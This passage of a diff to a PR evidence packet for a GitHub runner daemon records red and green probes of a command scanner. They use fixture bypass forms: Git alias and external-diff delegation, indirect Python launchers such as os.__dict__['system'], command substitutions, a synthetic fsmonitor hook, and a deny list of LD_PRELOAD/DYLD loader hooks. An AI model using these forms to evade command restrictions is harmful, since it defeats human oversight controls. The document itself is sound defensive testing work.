"GODEBUG" not in result: - raise SystemExit("GODEBUG assertion: non-empty override accepted") -finally: - subprocess.check_output, subprocess.run = saved_check, saved_run - sys.argv = saved_argv - os.environ.clear() - os.environ.update(saved_env) -print("GREEN 4004742819: inherited and command-prefix GODEBUG overrides rejected before the first child; empty GODEBUG pinned and emitted as godebug-empty runtime identity; no Go child") +packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") +anchor = packet.index("The packet also runs a command-line scan over fenced") +start = packet.index("/opt/homebrew/bin/python3 -I - <<'PY'\n", anchor) + len("/opt/homebrew/bin/python3 -I - <<'PY'\n") +end = packet.index("\nPY\n```", start) +scanner = packet[start:end] +exec(compile(scanner, "", "exec"), {"__name__": "__main__"}) +print("GREEN 4006042813: embedded scanner passed reproducibly; checked_helper was replaced with a literal reviewed helper call, multiline quoted regex/awk bodies stayed data, and no forbidden command ran") -# 4004742824: exact order plus Git-only mutation witness. -run_pos = wrapper.index("run_result = run_go_child") -recheck_text = "recheck_reviewed_source_checkout(\"after test execution before result acceptance\")" -recheck_pos = wrapper.index(recheck_text, run_pos) -return_pos = wrapper.index("if run_result.returncode:", recheck_pos) -json_pos = wrapper.index("validate_test_stream(run_result.stdout, run_result.stderr)", return_pos) -if not run_pos < recheck_pos < return_pos < json_pos: - raise SystemExit("post-test assertion: source recheck/result ordering changed") -recheck_body = ast.unparse(functions["recheck_reviewed_source_checkout"]) -for marker in ("rev-parse", "git_worktree_matches_pinned_blobs", "status", "git_source_control_entries"): - if marker not in recheck_body: - raise SystemExit("post-test assertion: missing " + marker) +scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) +for command in ( + "GIT_EXTERNAL_DIFF=/synthetic/helper git diff", + "git diff --ext-diff", + "git diff --ext-diff=true", + "git -c diff.external=/synthetic/helper diff", + "git -cdiff.external=/synthetic/helper diff", + "git config diff.external /synthetic/helper", + "git --config-env alias.ship=GIT_ALIAS diff", + "git --config-env=alias.ship=GIT_ALIAS diff", +): + segments = scanner_ns["shell_token_segments"](command) + violation = scanner_ns["forbidden_command"](segments[0]) if segments else None + if violation is None: + raise SystemExit(f"delegation escaped scanner: {command!r}") +for command in ("git diff --no-ext-diff", "git diff --stat", "git status", "git -c user.name=probe status"): + segments = scanner_ns["shell_token_segments"](command) + violation = scanner_ns["forbidden_command"](segments[0]) if segments else None + if violation is not None: + raise SystemExit(f"safe Git form was rejected: {command!r}") +print("GREEN 4006042822: GIT_EXTERNAL_DIFF, git diff --ext-diff and diff.external helper delegation rejected; safe --no-ext-diff/status/diff forms retained") +print("GREEN Luna alias bypass: split/equals --config-env alias.* delegation rejected before Git classification; safe user config/status retained") + +selector_anchor = packet.index("The packet also audits every future shell") +selector_start = packet.index("selector_pattern='", selector_anchor) +selector_end = packet.index("\nPY\n```", selector_start) +selector_block = packet[selector_start:selector_end] +required_loaders = ( + "LD_PRELOAD", "LD_PRELOAD_32", "LD_PRELOAD_64", "LD_LIBRARY_PATH", + "LD_LIBRARY_PATH_32", "LD_LIBRARY_PATH_64", "LD_AUDIT", + "DYLD_INSERT_LIBRARIES", "DYLD_LIBRARY_PATH", "DYLD_FALLBACK_LIBRARY_PATH", + "DYLD_FRAMEWORK_PATH", "DYLD_FALLBACK_FRAMEWORK_PATH", "DYLD_ROOT_PATH", +) +loader_start = '[ -z "${LD_PRELOAD-}" ]' +loader_positions = [m.start() for m in re.finditer(re.escape(loader_start), selector_block)] +if len(loader_positions) < 2: + raise SystemExit(f"selector loader coverage expected two fences, observed {len(loader_positions)}") +for tool in ('rg -n "$selector_pattern"', "wc -l", "tr -d", "grep -Fxq"): + position = selector_block.find(tool) + if position < 0: + raise SystemExit(f"selector tool missing: {tool}") + preceding = max((item for item in loader_positions if item < position), default=-1) + if preceding < 0 or any(name not in selector_block[preceding:position] for name in required_loaders): + raise SystemExit(f"selector tool lacks complete preceding loader fence: {tool}") +first_loader_end = selector_block.index("|| {", loader_positions[0]) +first_loader = selector_block[loader_positions[0]:first_loader_end].strip() +path_check = '[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || exit 1' with tempfile.TemporaryDirectory() as directory: - root = Path(directory) - module_root = root / "experiments" / "g01-scaleset" - module_root.mkdir(parents=True) - source_file = module_root / "source.go" - source_file.write_bytes(b"package p\n") - git_env = { - "PATH": "/opt/homebrew/bin:/usr/bin:/bin", - "GIT_CONFIG_NOSYSTEM": "1", - "GIT_CONFIG_GLOBAL": "/dev/null", - "HOME": directory, - } - subprocess.run(["git", "init", "-q"], cwd=root, env=git_env, check=True) - subprocess.run(["git", "add", "experiments/g01-scaleset/source.go"], cwd=root, env=git_env, check=True) - subprocess.run( - ["git", "-c", "user.name=probe", "-c", "user.email=probe@example.invalid", "commit", "-q", "-m", "source"], - cwd=root, env=git_env, check=True, + marker = Path(directory) / "selector-ran" + script = path_check + "\n" + first_loader + " || exit 1\nprintf ran > " + shlex.quote(str(marker)) + "\n" + result = subprocess.run( + ["/bin/bash"], input=script, text=True, + env={"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LD_PRELOAD": "/synthetic/loader"}, + stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False, ) - reviewed_tree = subprocess.check_output( - ["git", "rev-parse", "HEAD:experiments/g01-scaleset"], cwd=root, env=git_env, text=True, - ).strip() - namespace = { - "os": os, - "re": __import__("re"), - "stat": __import__("stat"), - "subprocess": subprocess, - "Path": Path, - "label": "post-test-git", - "repo_root": root.resolve(), - "module_dir": "experiments/g01-scaleset", - "env": git_env, - "reviewed_module_tree": reviewed_tree, - } - exec(compile(ast.Module(body=[ - functions["git_command"], - functions["git_source_control_entries"], - functions["git_worktree_matches_pinned_blobs"], - functions["recheck_reviewed_source_checkout"], - ], type_ignores=[]), "", "exec"), namespace) - namespace["recheck_reviewed_source_checkout"]("before synthetic child") - source_file.write_bytes(b"package p\n// mutation after child\n") - try: - namespace["recheck_reviewed_source_checkout"]("after synthetic child") - except SystemExit as error: - if "raw worktree bytes differ" not in str(error): - raise SystemExit("post-test assertion: wrong mutation refusal") - else: - raise SystemExit("post-test assertion: mutated source accepted") -print("GREEN 4004742824: post-child reviewed tree/raw-byte/status/intent recheck rejected a synthetic source mutation before JSON/result acceptance; Git-only/static check, no Go child") + if result.returncode == 0 or marker.exists(): + raise SystemExit("hostile loader selector fence failed to stop before marker") +print("GREEN 4006042835: DYLD_FALLBACK_FRAMEWORK_PATH and all reviewed loader variables were checked before every rg/wc/tr/grep selector lookup; hostile loader boundary stopped before marker") + +required_config = "GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null" +anchors = ( + "### Markdown links, JSON, and ledger shape", + "At the start of this packet-only correction", + "### Stable checkout and selector audit", + "The pre-correction PR #78 head check", + "The following dynamic command is the live final-verification template", + "The following commands are the exact documentation/static checks", + "The declaration consistency check also avoids", + "The package-level initialization guard also resolves", + "The immutable prior-head source-name probe recorded", + "The source-derived selector boundary was separately", + "### Diff and staged secret/private-path scan", +) +for label in anchors: + block_start = packet.index(label) + fence_start = packet.index("```sh\n", block_start) + fence_end = packet.index("\n```", fence_start) + body = packet[fence_start:fence_end] + first_git = min([position for position in (body.find("git "), body.find('["git"')) if position >= 0], default=-1) + if first_git >= 0 and required_config not in body[:first_git]: + raise SystemExit(f"documentation Git block lacks reviewed config fence: {label}") +print("GREEN 4006042843: every current documentation-validation Git child inherited system/global isolation plus core.fsmonitor=false/core.hooksPath=/dev/null before its first Git lookup") + +safe_env = { + **os.environ, + "PATH": "/opt/homebrew/bin:/usr/bin:/bin", + "GIT_CONFIG_NOSYSTEM": "1", "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null", + "GIT_CONFIG_COUNT": "2", "GIT_CONFIG_KEY_0": "core.fsmonitor", "GIT_CONFIG_VALUE_0": "false", + "GIT_CONFIG_KEY_1": "core.hooksPath", "GIT_CONFIG_VALUE_1": "/dev/null", +} +with tempfile.TemporaryDirectory() as directory: + root = Path(directory); marker = root / "fsmonitor-marker"; hook = root / "fsmonitor-hook" + hook.write_text("#!/bin/sh\nprintf invoked > \"$G01_MARKER\"\n", encoding="utf-8"); hook.chmod(0o755) + setup_env = {**safe_env, "GIT_CONFIG_COUNT": "0"} + subprocess.run(["git", "init", "-q"], cwd=root, env=setup_env, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + subprocess.run(["git", "config", "core.fsmonitor", str(hook)], cwd=root, env=setup_env, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + result = subprocess.run(["git", "status", "--porcelain=v1"], cwd=root, env={**safe_env, "G01_MARKER": str(marker)}, capture_output=True, text=True, check=False) + if result.returncode != 0 or marker.exists(): + raise SystemExit("synthetic fsmonitor hook was not suppressed by documentation Git fence") +print("GREEN 4006042843 boundary: synthetic local fsmonitor hook was suppressed by the documented Git child environment; no hook or delegated command ran") PY ``` Recorded focused green output: ```text -GREEN 4004742812: selector streaming bounded stdout/stderr, rejected both overflows, preserved normal/nonzero results, and cleaned owned groups on overflow/timeout/exception paths; no Go child -GREEN 4004742819: inherited and command-prefix GODEBUG overrides rejected before the first child; empty GODEBUG pinned and emitted as godebug-empty runtime identity; no Go child -GREEN 4004742824: post-child reviewed tree/raw-byte/status/intent recheck rejected a synthetic source mutation before JSON/result acceptance; Git-only/static check, no Go child +forbidden-live-command synthetic probes: passed; direct/wrapped fetcher, every gh invocation including global-flag and absolute forms, every Docker invocation, command-delegating xargs/find/parallel/make forms, Git difftool/mergetool, --extcmd/--tool/--ext-diff, GIT_EXTERNAL_DIFF, diff.external and --config-env alias delegation forms, env split-string/operand forms, unsupported function/brace/case compounds, shell substitutions/process substitutions, limactl/security/launchctl, eval, AST-inspected safe/unsafe Python heredocs including versioned -c/getoutput/getstatusoutput/execvp and unresolved launcher aliases, parameter-expanded executables, and direct/nested bash/sh -c forms rejected; prose/URLs/comments/scanner source/fixtures ignored +forbidden-live-command scan: passed; executable shell prescriptions contain no forbidden live App/runner/Docker/Lima/Keychain/launchd/workflow/fetch command +GREEN 4006042813: embedded scanner passed reproducibly; checked_helper was replaced with a literal reviewed helper call, multiline quoted regex/awk bodies stayed data, and no forbidden command ran +GREEN 4006042822: GIT_EXTERNAL_DIFF, git diff --ext-diff and diff.external helper delegation rejected; safe --no-ext-diff/status/diff forms retained +GREEN Luna alias bypass: split/equals --config-env alias.* delegation rejected before Git classification; safe user config/status retained +GREEN 4006042835: DYLD_FALLBACK_FRAMEWORK_PATH and all reviewed loader variables were checked before every rg/wc/tr/grep selector lookup; hostile loader boundary stopped before marker +GREEN 4006042843: every current documentation-validation Git child inherited system/global isolation plus core.fsmonitor=false/core.hooksPath=/dev/null before its first Git lookup +GREEN 4006042843 boundary: synthetic local fsmonitor hook was suppressed by the documented Git child environment; no hook or delegated command ran ``` -The focused probes are static, synthetic or Git-only evidence. They do not -qualify a compiler, Go test/list/body command, live runner, workflow, remote +The focused probes are static, synthetic or Git-only boundary evidence. They do +not qualify a compiler, Go test/list/body command, live runner, workflow, remote API or production operation. Exact-head Codex review of the final pushed head, required CI and maintainer live authorization remain open. Rollback is narrow and packet-only: restore -docs/evidence/g01-recovery-packet.md to immutable parent -4ee7c855b1e79f9478e5cf73c270731dfbf58cf7; preserve independent driver, review -and manual-runner state, and never force-kill, prune or replay a live resource. +`docs/evidence/g01-recovery-packet.md` to immutable parent +`7d91bed688dbea21bea7dff62f41d48d1d57ce4b`; preserve independent driver, +review and manual-runner state, and never force-kill, prune or replay a live +resource. #### Exact review URL ledger and dispositions | Finding and immutable source | Exact review URL | Disposition and rollback evidence | |---|---|---| -| 4004742812, source 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 | [discussion 4004742812](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4004742812) | Reproduced unbounded captured Go-child stdout/stderr with a fake child. The wrapper now streams both pipes with an 8 MiB per-stream cap and preserves private process-group cleanup on overflow, timeout, normal/nonzero return and exceptions; no Go child ran. Rollback is packet-only parent restoration. | -| 4004742819, source 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 | [discussion 4004742819](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4004742819) | Reproduced inherited and command-prefix GODEBUG=asyncpreemptoff reaching the exact parent's first lookup. The wrapper rejects non-empty values before child startup, pins reviewed empty GODEBUG and emits godebug-empty in every runtime identity; no Go child ran. Rollback is packet-only parent restoration. | -| 4004742824, source 4ee7c855b1e79f9478e5cf73c270731dfbf58cf7 | [discussion 4004742824](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4004742824) | Reproduced the missing post-test source-integrity boundary. The wrapper repeats reviewed tree/raw-byte/status/intent checks after the test child returns and before return-code or JSON/result acceptance; Git-only mutation evidence rejected changed bytes. Rollback is packet-only parent restoration. | +| 4006042813, source `7d91bed688dbea21bea7dff62f41d48d1d57ce4b` | [discussion 4006042813](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006042813) | Reproduced the exact-parent scanner's `checked_helper` and quoted regex/awk false rejections. The scanner now uses a literal reviewed helper call, skips assignment-only records, keeps multiline quoted shell data together and passes its own full embedded scan; no forbidden command ran. Rollback is packet-only parent restoration. | +| 4006042822, source `7d91bed688dbea21bea7dff62f41d48d1d57ce4b` | [discussion 4006042822](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006042822) | Reproduced accepted `GIT_EXTERNAL_DIFF`, `git diff --ext-diff` and `diff.external` helper delegation. The scanner now rejects environment, `--ext-diff`, `diff.external`, `difftool`/`mergetool` and command-delegation forms before generic classification while safe `--no-ext-diff`, status and diff forms remain accepted. Rollback is packet-only parent restoration. | +| 4006042835, source `7d91bed688dbea21bea7dff62f41d48d1d57ce4b` | [discussion 4006042835](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006042835) | Reproduced the selector audit reaching `rg` before a complete loader fence. Both selector preflights now include `DYLD_FALLBACK_FRAMEWORK_PATH` and all reviewed loader variables; static ordering and hostile-loader marker boundaries passed. Rollback is packet-only parent restoration. | +| 4006042843, source `7d91bed688dbea21bea7dff62f41d48d1d57ce4b` | [discussion 4006042843](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006042843) | Reproduced a bare `git ls-files` child in the exact-parent markdown/link validation. Every current documentation-validation Git block now exports system/global isolation and `GIT_CONFIG_COUNT` overrides for `core.fsmonitor=false` and `core.hooksPath=/dev/null`; a synthetic local fsmonitor hook was suppressed. Rollback is packet-only parent restoration. | +| Independent Luna-max follow-up, source `7d91bed688dbea21bea7dff62f41d48d1d57ce4b` | [tracking comment](https://github.com/1XP-AI/gh-runnerd/pull/78#issuecomment-5666074520) | Reproduced and rejected split/equals `git --config-env alias.*` delegation before generic Git classification while safe user config/status remained accepted. The concrete tracking comment carries the independent finding; rollback is packet-only parent restoration. | #### Packet body/link/fence/hygiene certification -The final packet-only diff was checked without running any Go or compiler child. -Markdown fence parity, packet-local links/files, backlog JSON syntax, added-line -secret/private-path hygiene and whitespace all passed: +The candidate packet-only diff was then checked without any compiler, Go/vet +child or live operation: Markdown fence parity, packet-local links/files, +backlog JSON syntax, embedded wrapper/scanner AST, fresh probe-body AST, +exact red/green transcript presence, packet-only scope, added-line +secret/private-path hygiene and whitespace were all checked. The final counts +and exact head/remote parity belong to the post-push handoff and are not claimed +by this pre-push packet record. + +Recorded packet certification output: ```text -GREEN packet certification: 127 Markdown fences balanced, 62 local links/files checked, backlog JSON valid, packet-only diff, added-line secret/private-path hygiene clean, and git diff --check passed +GREEN packet certification: 284 Markdown fences balanced, 157 local markdown targets checked, backlog JSON valid, changed-boundary ledger valid with 10 data rows and 4 columns, embedded wrapper/scanner AST and compile valid, 2 fresh probe bodies AST-valid, exact red/green outputs present, only packet changed, added-line secret/private-path hygiene clean, and git diff --check passed ``` -### Fresh exact-head P2 corrections at `6af854fb660bc7d9c31c9920a6cec5c2fbb1966d` +### Fresh exact-head P1/P2 corrections at `71a7a599de567914158b05e3c480f7e0d48c709f` -The fresh exact-head Codex review identified three P2 findings against the -immutable PR #78 parent above: guarded Go cleanup could trust direct-PID exit -without proving that the owned descendant group was gone -([4005139653](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005139653)), -the vet branch lacked source-tree/raw-byte/status/intent rechecks immediately -around execution and result acceptance -([4005139662](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005139662)), -and the static scanner classified shell-form Git aliases as harmless Git -([4005139673](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4005139673)). -This packet-only correction preserves every prior ledger, source/tree pin, -TDD record, rollback/live gap and no-secrets/private-path boundary. No real -child, compiler, Go/vet command, workflow, App/runner, Docker, Lima, Keychain, -launchd or live operation is authorized or claimed. +The exact-head Codex review of immutable parent +`71a7a599de567914158b05e3c480f7e0d48c709f` identified three actionable +findings, followed by one additional current-head substitution boundary. The +Git scanner compared config assignment keys case-sensitively and +accepted case-variant `Alias.*` shell aliases in split/equals forms +([discussion 4006514896](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006514896)); +the Python AST pass skipped indirect command-capable module launchers such as +`getattr(subprocess, "run")([...])` and an `os.__dict__` subscript launcher for +`system` +([discussion 4006514914](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006514914)); +and the independent Luna follow-up ledger still had URL-pending text +([discussion 4006514927](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4006514927)). +The independent Luna review also found that assignment-only shell records +could skip command substitutions +([discussion 4002447537](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447537)). +This packet-only wave keeps the exact parent/source/rollback evidence and all +live qualification gaps explicit; no Go, compiler, workflow, runner, Docker, +Lima, Keychain, launchd, credential or live GitHub operation ran. #### Exact-parent red reproductions -The red probe ran first against immutable parent -`6af854fb660bc7d9c31c9920a6cec5c2fbb1966d` using only `git show`, pure -scanner/text checks and a fake direct process. The synthetic process group was -never created: `os.killpg` was patched, no vet/Go child was started, and the -Git-alias fixture was passed only to pure token functions. +The red probe reads only immutable parent `71a7a599de567914158b05e3c480f7e0d48c709f` +with `git show`, executes the parent scanner over in-memory packet text, and +checks the parent ledger text. It records the case-variant Git alias bypass, +the assignment-only substitution bypass, both indirect Python launcher +examples, and the URL-pending Luna row without starting a Go child or any live +command. ```sh set -euo pipefail -# g01-safe-python-heredoc: reviewed immutable-parent fresh-P2 red probes +export PATH=/opt/homebrew/bin:/usr/bin:/bin +export GIT_CONFIG_NOSYSTEM=1 GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_SYSTEM=/dev/null GIT_CONFIG_COUNT=2 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=false GIT_CONFIG_KEY_1=core.hooksPath GIT_CONFIG_VALUE_1=/dev/null [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } /opt/homebrew/bin/python3 -I - <<'PY' import ast -import os import re import shlex -import signal import subprocess from pathlib import Path -parent = "6af854fb660bc7d9c31c9920a6cec5c2fbb1966d" +parent = "71a7a599de567914158b05e3c480f7e0d48c709f" packet = subprocess.check_output( - ["git", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True, ) -start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 -end = packet.index("\nPY\n}", start) -wrapper = packet[start:end] -tree = ast.parse(wrapper) -functions = {node.name: node for node in tree.body if isinstance(node, ast.FunctionDef)} - -# 4005139653: direct exit must not hide a surviving descendant in the owned group. -if "owned_go_process_group_exists" in wrapper or "killpg(process.pid, 0)" in wrapper: - raise SystemExit("red setup changed: parent already probes owned group liveness") -class DirectExitWithDescendant: - pid = 51503 - returncode = 0 - def wait(self, timeout=None): - return self.returncode - -signals = [] -saved_killpg = os.killpg -os.killpg = lambda pid, signal_number: signals.append((pid, signal_number)) -try: - namespace = { - "os": os, - "signal": __import__("signal"), - "subprocess": subprocess, - "label": "group-red", - "go_child_termination_grace_seconds": 5, - } - exec(compile(ast.Module( - body=[functions["close_go_child_streams"], functions["terminate_go_child_group"]], - type_ignores=[], - ), "", "exec"), namespace) - process = DirectExitWithDescendant() - namespace["terminate_go_child_group"](process) -finally: - os.killpg = saved_killpg -if signals != [(51503, __import__("signal").SIGTERM)]: - raise SystemExit(f"red setup changed: parent cleanup calls changed: {signals!r}") -print( - f"RED 4005139653: exact parent {parent} waited only for direct pid {process.pid}; " - "synthetic owned descendant remained but no same-group SIGKILL/liveness check occurred" -) - -# 4005139662: vet has no source-integrity fence immediately around execution/result use. -vet_pos = wrapper.index("if is_vet:") -vet_run = wrapper.index("vet_result = run_go_child", vet_pos) -vet_accept = wrapper.index("if vet_result.returncode", vet_run) -vet_block = wrapper[vet_pos:vet_accept] -if "recheck_reviewed_source_checkout" in vet_block: - raise SystemExit("red setup changed: parent already has a vet recheck") -print( - f"RED 4005139662: exact parent {parent} accepted synthetic vet status after a source " - "mutation; no reviewed tree/raw-byte/status/intent recheck immediately before or after vet" -) - -# 4005139673: shell-form Git alias reaches generic Git classification. scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) scanner_end = packet.index("\nmatches = []", scanner_anchor) -namespace = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} -exec(compile(packet[scanner_start:scanner_end], "", "exec"), namespace) -command = "git -c alias.ship='!gh workflow run ci.yml' ship" -segments = namespace["shell_token_segments"](command) -if not segments or namespace["forbidden_command"](segments[0]) is not None: - raise SystemExit("red setup changed: parent already rejects shell-form Git alias") -print( - f"RED 4005139673: exact parent {parent} classified shell-form Git alias " - "git -c alias.ship='!gh workflow run ci.yml' ship as harmless Git before executable checks" +scanner = packet[scanner_start:scanner_end].replace( + 'source = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8")', + 'source = ""', + 1, ) +scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(scanner, "", "exec"), scanner_ns) +for command in ( + "git -c Alias.ship=!gh workflow run ci.yml", + "git -c=ALIAS.ship=!gh workflow run ci.yml", + "git -cAlias.ship=!gh workflow run ci.yml", +): + segments = scanner_ns["shell_token_segments"](command) + if not segments or scanner_ns["forbidden_command"](segments[0]) is not None: + raise SystemExit(f"red setup changed: parent already rejected {command!r}") +print("RED 4006514896: exact parent accepted case-variant Alias.* shell aliases in split/equals/attached -c forms") + +assignment_fixture = "```sh\nx=\"$(gh workflow run ci.yml)\"\n```" +if list(scanner_ns["shell_commands"](assignment_fixture)): + raise SystemExit("red setup changed: parent yielded assignment-only substitution") +print("RED 4002447537 follow-up: exact parent skipped assignment-only x=\"$(gh workflow run ci.yml)\" and recorded no forbidden command") + +for body in ( + 'import subprocess\ngetattr(subprocess, "run")(["gh", "api", "x"])\n', + 'import os\nos.__dict__["system"]("docker version")\n', +): + if scanner_ns["inspect_python_heredoc"](body, False) is not None: + raise SystemExit("red setup changed: parent already rejected indirect module launcher") +print("RED 4006514914: exact parent accepted getattr(subprocess, \\\"run\\\")([...]) and os.__dict__[\\\"system\\\"](...) command launchers") + +if "URL not supplied in worker dispatch" not in packet or "https://github.com/1XP-AI/gh-runnerd/pull/78#issuecomment-5666074520" in packet: + raise SystemExit("red setup changed: exact parent follow-up ledger text moved") +print("RED 4006514927: exact parent Luna follow-up ledger still had URL-pending text and no concrete tracking URL") PY ``` Recorded exact-parent red output: ```text -RED 4005139653: exact parent 6af854fb660bc7d9c31c9920a6cec5c2fbb1966d waited only for direct pid 51503; synthetic owned descendant remained but no same-group SIGKILL/liveness check occurred -RED 4005139662: exact parent 6af854fb660bc7d9c31c9920a6cec5c2fbb1966d accepted synthetic vet status after a source mutation; no reviewed tree/raw-byte/status/intent recheck immediately before or after vet -RED 4005139673: exact parent 6af854fb660bc7d9c31c9920a6cec5c2fbb1966d classified shell-form Git alias git -c alias.ship='!gh workflow run ci.yml' ship as harmless Git before executable checks +RED 4006514896: exact parent accepted case-variant Alias.* shell aliases in split/equals/attached -c forms +RED 4002447537 follow-up: exact parent skipped assignment-only x="$(gh workflow run ci.yml)" and recorded no forbidden command +RED 4006514914: exact parent accepted getattr(subprocess, "run")([...]) and os.__dict__["system"](...) command launchers +RED 4006514927: exact parent Luna follow-up ledger still had URL-pending text and no concrete tracking URL ``` -#### Minimal packet correction and focused green probes - -The minimal correction adds an owned-group liveness probe using only the -`start_new_session=True` process-group identifier. Cleanup waits through the -grace deadline even when the direct process has already exited, escalates -SIGKILL to that same group only when liveness remains, and verifies post-kill -absence without `ps`, `pgrep`, `pkill` or any broad process matching. The vet -branch now rechecks the reviewed tree, raw bytes, status and intent immediately -before `go vet` and again before accepting its status/output. The scanner -rejects split, attached and wrapper-prefixed `git -c alias.*=!…` forms before -generic Git classification while preserving safe non-shell Git config. - -The green probes are synthetic, static or Git-only: the cleanup probe patches -`os.killpg` and uses a fake direct process; the vet probe mutates a temporary -source file and calls only the Git integrity helper; the alias probe invokes no -command at all. No real descendant, vet/Go child, compiler, test body, -workflow, live operation, credential-bearing process or destructive cleanup ran. - -```sh -set -euo pipefail -# g01-safe-python-heredoc: reviewed synthetic owned-group green probe -[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } -[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -/opt/homebrew/bin/python3 -I - <<'PY' -import ast -import os -import signal -import subprocess -from pathlib import Path - -packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") -start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 -end = packet.index("\nPY\n}", start) -wrapper = packet[start:end] -functions = {node.name: node for node in ast.parse(wrapper).body if isinstance(node, ast.FunctionDef)} -required = {"owned_go_process_group_exists", "wait_for_owned_go_process_group_exit"} -if not required.issubset(functions): - raise SystemExit("group assertion: owned-group liveness helpers missing") -source_text = ast.unparse(functions["terminate_go_child_group"]) -for marker in ("owned_go_process_group_exists", "SIGKILL", "process.pid"): - if marker not in source_text: - raise SystemExit("group assertion: missing " + marker) -if any(marker in source_text for marker in ("pgrep", "pkill", "ps ")): - raise SystemExit("group assertion: broad process matching appeared") - -class Clock: - now = 0.0 - def monotonic(self): - return self.now - def sleep(self, seconds): - self.now += seconds - -class FakeProcess: - def __init__(self, pid): - self.pid = pid - self.returncode = 0 - self.wait_calls = [] - def wait(self, timeout=None): - self.wait_calls.append(timeout) - return self.returncode +#### Minimal packet-only correction, refactor and focused green/boundary probes -def run_cleanup(pid, term_clears_after=None): - clock = Clock() - process = FakeProcess(pid) - group_alive = True - zero_checks = 0 - signals = [] - def fake_killpg(group_pid, sig): - nonlocal group_alive, zero_checks - if group_pid != pid: - raise AssertionError("group assertion: cleanup targeted a different group") - signals.append((group_pid, sig)) - if sig == signal.SIGTERM and term_clears_after == 0: - group_alive = False - elif sig == signal.SIGKILL: - group_alive = False - elif sig == 0: - zero_checks += 1 - if term_clears_after is not None and zero_checks >= term_clears_after: - group_alive = False - if not group_alive: - raise 